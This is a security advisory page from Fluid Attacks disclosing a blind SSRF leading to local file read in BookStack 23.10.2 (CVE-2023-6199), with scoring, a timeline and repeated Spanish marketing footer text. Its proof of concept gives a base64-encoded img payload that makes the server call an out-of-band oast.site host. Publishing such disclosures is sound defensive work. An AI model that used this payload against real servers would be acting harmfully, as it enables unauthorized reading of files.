Book Stack v23.10.2 - LFR via Blind SSRF

7,1

High

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Book Stack v23.10.2 - LFR via Blind SSRF

Code name

State

Public

Release date

20 nov 2023

Affected product

Book Stack

Affected version(s)

Version 23.10.2

Vulnerability name

Server-side request forgery (SSRF)

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

CVSS v3.1 base score

7.1

Exploit available

No

CVE ID(s)

Description

Book Stack version 23.10.2 allows filtering local files on the server. This is possible because the application is vulnerable to SSRF.

Vulnerability

A server-side request forgery (SSRF) vulnerability has been identified in Book Stack that, under certain conditions, could allow an attacker to obtain local files from the server. The attacker must have writer permissions.

POC

<!--
 1. OOB

 interactsh-client -v
 => clc2nf2q8vb4audkj6ngndxkxg7c7y1pj.oast.site

 2. Craft Payload

 https://clc2nf2q8vb4audkj6ngndxkxg7c7y1pj.oast.site/image.png | base64
 => aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw

 3. Exploit

 => <img src='data:image/png;base64,[BASE64 HERE]'/>
-->
<img src='data:image/png;base64,aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw'/>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-6199 to refer to this issue from now on. Disclosure policy

System Information

  • Version: Book Stack 23.10.2

  • Operating System: MacOS

Mitigation

An updated version of BookStack is available at the vendor page.

References

Timeline

IA generativa

17 nov 2023

Vendor Confirmed Vuln.

19 nov 2023

Vulnerability patched

20 nov 2023

Vendor contacted

18 nov 2023

Vendor replied

19 nov 2023

Public disclosure

20 nov 2023

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.